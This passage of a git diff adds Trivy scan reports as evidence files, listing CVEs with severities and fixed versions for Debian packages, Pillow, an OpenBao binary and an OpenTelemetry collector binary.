execution via crafted session │ +│ │ │ │ │ │ │ changesets │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-119379 │ +├────────────────────┼─────────────────┼──────────┼──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libssl3 │ CVE-2026-31789 │ CRITICAL │ fixed │ 3.0.16-1~deb12u1 │ 3.0.19-1~deb12u2 │ openssl: OpenSSL: Heap buffer overflow on 32-bit systems │ +│ │ │ │ │ │ │ from large X.509 certificate... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-31789 │ +│ ├─────────────────┼──────────┤ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-15467 │ HIGH │ │ │ 3.0.18-1~deb12u2 │ openssl: OpenSSL: Remote code execution or Denial of Service │ +│ │ │ │ │ │ │ via oversized Initialization... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-15467 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-69421 │ │ │ │ │ openssl: OpenSSL: Denial of Service via malformed PKCS#12 │ +│ │ │ │ │ │ │ file processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-69421 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28387 │ │ │ │ 3.0.19-1~deb12u2 │ openssl: OpenSSL: Arbitrary code execution due to │ +│ │ │ │ │ │ │ use-after-free in DANE TLSA authentication... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28387 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28388 │ │ │ │ │ openssl: OpenSSL: Denial of Service due to NULL pointer │ +│ │ │ │ │ │ │ dereference in delta... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28388 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28389 │ │ │ │ │ openssl: OpenSSL: Denial of Service vulnerability in CMS │ +│ │ │ │ │ │ │ processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28389 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28390 │ │ │ │ │ openssl: OpenSSL: Denial of Service due to NULL pointer │ +│ │ │ │ │ │ │ dereference in CMS... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28390 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-45447 │ │ │ │ 3.0.20-1~deb12u2 │ openssl: Heap Use-After-Free in OpenSSL PKCS7_verify() │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-45447 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-84782 │ │ │ │ 3.0.22-1~deb12u2 │ openssl: compat-openssl: openssl: Information disclosure via │ +│ │ │ │ │ │ │ DTLS handshake retransmission │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-84782 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libsystemd0 │ CVE-2026-16742 │ │ fix_deferred │ 252.36-1~deb12u1 │ │ systemd: systemd-homed: Local privilege escalation via │ +│ │ │ │ │ │ │ missing home-record signature verification │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-16742 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libtinfo6 │ CVE-2025-69720 │ │ affected │ 6.4-4 │ │ ncurses: ncurses: Buffer overflow vulnerability may lead to │ +│ │ │ │ │ │ │ arbitrary code execution. │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-69720 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libudev1 │ CVE-2026-16742 │ │ fix_deferred │ 252.36-1~deb12u1 │ │ systemd: systemd-homed: Local privilege escalation via │ +│ │ │ │ │ │ │ missing home-record signature verification │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-16742 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libuuid1 │ CVE-2026-53613 │ │ affected │ 2.38.1-5+deb12u3 │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ mount │ CVE-2026-53613 │ │ │ │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┤ │ ├────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ ncurses-base │ CVE-2025-69720 │ │ │ 6.4-4 │ │ ncurses: ncurses: Buffer overflow vulnerability may lead to │ +│ │ │ │ │ │ │ arbitrary code execution. │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-69720 │ +├────────────────────┤ │ │ │ ├────────────────────┤ │ +│ ncurses-bin │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +├────────────────────┼─────────────────┼──────────┼──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ openssl │ CVE-2026-31789 │ CRITICAL │ fixed │ 3.0.16-1~deb12u1 │ 3.0.19-1~deb12u2 │ openssl: OpenSSL: Heap buffer overflow on 32-bit systems │ +│ │ │ │ │ │ │ from large X.509 certificate... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-31789 │ +│ ├─────────────────┼──────────┤ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-15467 │ HIGH │ │ │ 3.0.18-1~deb12u2 │ openssl: OpenSSL: Remote code execution or Denial of Service │ +│ │ │ │ │ │ │ via oversized Initialization... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-15467 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-69421 │ │ │ │ │ openssl: OpenSSL: Denial of Service via malformed PKCS#12 │ +│ │ │ │ │ │ │ file processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-69421 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28387 │ │ │ │ 3.0.19-1~deb12u2 │ openssl: OpenSSL: Arbitrary code execution due to │ +│ │ │ │ │ │ │ use-after-free in DANE TLSA authentication... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28387 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28388 │ │ │ │ │ openssl: OpenSSL: Denial of Service due to NULL pointer │ +│ │ │ │ │ │ │ dereference in delta... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28388 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28389 │ │ │ │ │ openssl: OpenSSL: Denial of Service vulnerability in CMS │ +│ │ │ │ │ │ │ processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28389 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28390 │ │ │ │ │ openssl: OpenSSL: Denial of Service due to NULL pointer │ +│ │ │ │ │ │ │ dereference in CMS... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28390 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-45447 │ │ │ │ 3.0.20-1~deb12u2 │ openssl: Heap Use-After-Free in OpenSSL PKCS7_verify() │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-45447 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-84782 │ │ │ │ 3.0.22-1~deb12u2 │ openssl: compat-openssl: openssl: Information disclosure via │ +│ │ │ │ │ │ │ DTLS handshake retransmission │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-84782 │ +├────────────────────┼─────────────────┼──────────┤ ├────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ perl-base │ CVE-2026-13221 │ CRITICAL │ │ 5.36.0-7+deb12u2 │ 5.36.0-7+deb12u4 │ perl: Perl: Incorrect regular expression processing via │ +│ │ │ │ │ │ │ large regular expressions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-13221 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42496 │ │ │ │ │ perl-archive-tar: perl-archive-tar: Path traversal via │ +│ │ │ │ │ │ │ crafted symlinks allows arbitrary file access │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42496 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-8376 │ │ │ │ │ perl: Perl: Heap buffer overflow when compiling regular │ +│ │ │ │ │ │ │ expressions on 32-bit builds... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-8376 │ +│ ├─────────────────┼──────────┤ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2023-31484 │ HIGH │ │ │ 5.36.0-7+deb12u3 │ perl: CPAN.pm does not verify TLS certificates when │ +│ │ │ │ │ │ │ downloading distributions over HTTPS... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-31484 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42497 │ │ │ │ 5.36.0-7+deb12u4 │ perl-Archive-Tar: perl-Archive-Tar: Arbitrary file │ +│ │ │ │ │ │ │ modification via crafted hardlinks during archive extraction │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42497 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-48962 │ │ │ │ │ perl-IO-Compress: perl-IO-Compress: Arbitrary code execution │ +│ │ │ │ │ │ │ via attacker-controlled output glob │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-48962 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-57432 │ │ │ │ │ perl: Perl: Information disclosure via integer overflow in │ +│ │ │ │ │ │ │ pack/unpack operations │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-57432 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-57433 │ │ │ │ │ Storable: Storable: Denial of Service via signed integer │ +│ │ │ │ │ │ │ overflow in deserialization │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-57433 │ +│ ├─────────────────┤ ├──────────────┤ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-9538 │ │ fix_deferred │ │ │ perl-Archive-Tar: perl-Archive-Tar: Denial of Service via │ +│ │ │ │ │ │ │ crafted tar header with large entry... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-9538 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ util-linux │ CVE-2026-53613 │ │ affected │ 2.38.1-5+deb12u3 │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ util-linux-extra │ CVE-2026-53613 │ │ │ │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┼──────────┼──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ zlib1g │ CVE-2023-45853 │ CRITICAL │ will_not_fix │ 1:1.2.13.dfsg-1 │ │ zlib: integer overflow and resultant heap-based buffer │ +│ │ │ │ │ │ │ overflow in zipOpenNewFileInZip4_6 │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-45853 │ +│ ├─────────────────┼──────────┼──────────────┤ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-76844 │ HIGH │ affected │ │ │ webpack-dev-middleware: webpack-dev-middleware: Information │ +│ │ │ │ │ │ │ Disclosure via Path Traversal │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-76844 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-85091 │ │ │ │ │ zlib: zlib: Heap buffer overflow in gz_vacate() allows │ +│ │ │ │ │ │ │ arbitrary code execution │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-85091 │ +└────────────────────┴─────────────────┴──────────┴──────────────┴────────────────────┴────────────────────┴──────────────────────────────────────────────────────────────┘ + +Python (python-pkg) +=================== +Total: 28 (HIGH: 23, CRITICAL: 5) + +┌───────────────────┬─────────────────────┬──────────┬────────┬───────────────────┬───────────────┬──────────────────────────────────────────────────────────────┐ +│ Library │ Vulnerability │ Severity │ Status │ Installed Version │ Fixed Version │ Title │ +├───────────────────┼─────────────────────┼──────────┼────────┼───────────────────┼───────────────┼──────────────────────────────────────────────────────────────┤ +│ pillow (METADATA) │ CVE-2026-112393 │ CRITICAL │ fixed │ 12.3.0 │ 13.0.0 │ pillow: Pillow: Heap buffer overflow in _tiffWriteProc when │ +│ │ │ │ │ │ │ saving TIFF to BytesIO... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112393 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112398 │ │ │ │ │ pillow: Pillow: Heap buffer overflow in FlashPix (FPX) JPEG │ +│ │ │ │ │ │ │ decoding leads to... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112398 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112403 │ │ │ │ │ pillow: Pillow: Heap buffer overflow in ImagingJpegDecode │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112403 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112900 │ │ │ │ │ pillow: Pillow: Argument Injection in Ghostscript call, │ +│ │ │ │ │ │ │ potentially leading into RCE │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112900 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-96639 │ │ │ │ │ pillow: Pillow multi-frame loaders can reuse stale native │ +│ │ │ │ │ │ │ image storage after mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-96639 │ +│ ├─────────────────────┼──────────┤ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112390 │ HIGH │ │ │ │ pillow: Pillow: Denial of Service via infinite loop during │ +│ │ │ │ │ │ │ crafted MIC image... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112390 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112392 │ │ │ │ │ pillow: pillow: Denial of Service via zero-size images in │ +│ │ │ │ │ │ │ rank filters │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112392 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112397 │ │ │ │ │ pillow: pillow: Denial of Service via out-of-bounds memory │ +│ │ │ │ │ │ │ access on zero-width images... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112397 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112399 │ │ │ │ │ pillow: pillow: Denial of service via crafted APNG image │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112399 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112400 │ │ │ │ │ pillow: pillow: Denial of Service via memory exhaustion from │ +│ │ │ │ │ │ │ crafted GIF image... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112400 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112402 │ │ │ │ │ pillow: pillow: Denial of service via double free during │ +│ │ │ │ │ │ │ image transformation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112402 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112404 │ │ │ │ │ pillow: Pillow: Denial of Service via out-of-bounds read in │ +│ │ │ │ │ │ │ TIFF decoding │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112404 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112405 │ │ │ │ │ pillow: Pillow: Denial of Service via null pointer │ +│ │ │ │ │ │ │ dereference in Image.merge() │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112405 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112406 │ │ │ │ │ pillow: pillow: Denial of Service via infinite loop during │ +│ │ │ │ │ │ │ PDF page rewriting... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112406 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112892 │ │ │ │ │ pillow: pillow: Denial of Service via unbounded memory │ +│ │ │ │ │ │ │ expansion in MSP image... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112892 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112893 │ │ │ │ │ pillow: Pillow: Denial of Service via invalid pointer free │ +│ │ │ │ │ │ │ during font rendering... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112893 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112894 │ │ │ │ │ pillow: pillow: Denial of Service via crafted multi-frame │ +│ │ │ │ │ │ │ image conversion │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112894 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112895 │ │ │ │ │ pillow: pillow: Denial of service via crafted PDF during │ +│ │ │ │ │ │ │ append operations │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112895 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112896 │ │ │ │ │ pillow: Pillow: Denial of Service via out-of-bounds read in │ +│ │ │ │ │ │ │ TIFF encoder │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112896 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112897 │ │ │ │ │ pillow: pillow: Information disclosure via uninitialized │ +│ │ │ │ │ │ │ buffer in TIFF decoding │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112897 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112902 │ │ │ │ │ Pillow: Memory disclosure and segfault in libtiff encoder │ +│ │ │ │ │ │ │ via crafted TIFF tags... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112902 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-96637 │ │ │ │ │ pillow: pillow: Denial of Service via decompression bomb │ +│ │ │ │ │ │ │ bypass in SPIDER images... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-96637 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-96640 │ │ │ │ │ pillow: pillow: Denial of Service via duplicate page │ +│ │ │ │ │ │ │ references in PDF files... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-96640 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-96642 │ │ │ │ │ pillow: Pillow: Denial of Service via negative archive │ +│ │ │ │ │ │ │ member size in TarIO... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-96642 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-96643 │ │ │ │ │ pillow: pillow: Denial of Service via repeated EXIF headers │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-96643 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-96644 │ │ │ │ │ pillow: Pillow: Denial of Service via out-of-bounds read in │ +│ │ │ │ │ │ │ metafile parser │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-96644 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-96778 │ │ │ │ │ pillow: pillow: Arbitrary code execution via JPEG encoder │ +│ │ │ │ │ │ │ buffer overflow │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-96778 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ GHSA-78g4-xqwv-q3g8 │ │ │ │ │ Pillow: Bundled libopenjp2 2.5.4 in all wheels since 11.1.0 │ +│ │ │ │ │ │ │ carries OSV-2025-219 heap-buffer-overflow... │ +│ │ │ │ │ │ │ https://github.com/advisories/GHSA-78g4-xqwv-q3g8 │ +└───────────────────┴─────────────────────┴──────────┴────────┴───────────────────┴───────────────┴──────────────────────────────────────────────────────────────┘ diff --git a/evidence/trivy-bao.txt b/evidence/trivy-bao.txt new file mode 100644 index 0000000..ac4cb78 --- /dev/null +++ b/evidence/trivy-bao.txt @@ -0,0 +1,34 @@ + +Report Summary + +┌─────────────────────────────────┬──────────┬─────────────────┐ +│ Target │ Type │ Vulnerabilities │ +├─────────────────────────────────┼──────────┼─────────────────┤ +│ /scan/image.tar (alpine 3.24.3) │ alpine │ 0 │ +├─────────────────────────────────┼──────────┼─────────────────┤ +│ usr/bin/bao │ gobinary │ 3 │ +└─────────────────────────────────┴──────────┴─────────────────┘ +Legend: +- '-': Not scanned +- '0': Clean (no security findings detected) + + +usr/bin/bao (gobinary) +====================== +Total: 3 (HIGH: 3, CRITICAL: 0) + +┌───────────────────────────────┬─────────────────┬──────────┬──────────┬───────────────────┬───────────────┬────────────────────────────────────────────────────────────┐ +│ Library │ Vulnerability │ Severity │ Status │ Installed Version │ Fixed Version │ Title │ +├───────────────────────────────┼─────────────────┼──────────┼──────────┼───────────────────┼───────────────┼────────────────────────────────────────────────────────────┤ +│ github.com/go-jose/go-jose/v3 │ CVE-2026-116587 │ HIGH │ affected │ v3.0.5 │ │ github.com/go-jose/go-jose: go-jose: Denial of Service via │ +│ │ │ │ │ │ │ crafted RSA parameters in JWKs │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-116587 │ +├───────────────────────────────┤ │ ├──────────┼───────────────────┼───────────────┤ │ +│ github.com/go-jose/go-jose/v4 │ │ │ fixed │ v4.1.4 │ 4.1.6 │ │ +│ │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +├───────────────────────────────┼─────────────────┤ │ ├───────────────────┼───────────────┼────────────────────────────────────────────────────────────┤ +│ golang.org/x/net │ CVE-2026-78661 │ │ │ v0.61.0 │ 0.62.0 │ golang.org/x/net/html: golang.org/x/net/html: Denial of │ +│ │ │ │ │ │ │ Service via crafted HTML input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78661 │ +└───────────────────────────────┴─────────────────┴──────────┴──────────┴───────────────────┴───────────────┴────────────────────────────────────────────────────────────┘ diff --git a/evidence/trivy-collector.txt b/evidence/trivy-collector.txt new file mode 100644 index 0000000..19e1a06 --- /dev/null +++ b/evidence/trivy-collector.txt @@ -0,0 +1,356 @@ + +Report Summary + +┌─────────────────┬──────────┬─────────────────┐ +│ Target │ Type │ Vulnerabilities │ +├─────────────────┼──────────┼─────────────────┤ +│ otelcol-contrib │ gobinary │ 80 │ +└─────────────────┴──────────┴─────────────────┘ +Legend: +- '-': Not scanned +- '0': Clean (no security findings detected) + + +otelcol-contrib (gobinary) +========================== +Total: 80 (HIGH: 73, CRITICAL: 7) + +┌──────────────────────────────────┬─────────────────────┬──────────┬──────────┬──────────────────────┬───────────────────────────────────────────────────────────┬──────────────────────────────────────────────────────────────┐ +│ Library │ Vulnerability │ Severity │ Status │ Installed Version │ Fixed Version │ Title │ +├──────────────────────────────────┼─────────────────────┼──────────┼──────────┼──────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/antchfx/xpath │ CVE-2026-32287 │ HIGH │ fixed │ v1.3.3 │ 1.3.6 │ github.com/antchfx/xpath: github.com/antchfx/xpath: Denial │ +│ │ │ │ │ │ │ of Service due to infinite loop via boolean XPath... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32287 │ +├──────────────────────────────────┼─────────────────────┤ │ ├──────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/apache/thrift │ CVE-2026-41602 │ │ │ v0.21.0 │ 0.23.0 │ github.com/apache/thrift: Apache Thrift: Integer Overflow in │ +│ │ │ │ │ │ │ TFramedTransport Go implementation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-41602 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-43871 │ │ │ │ 0.24.0 │ 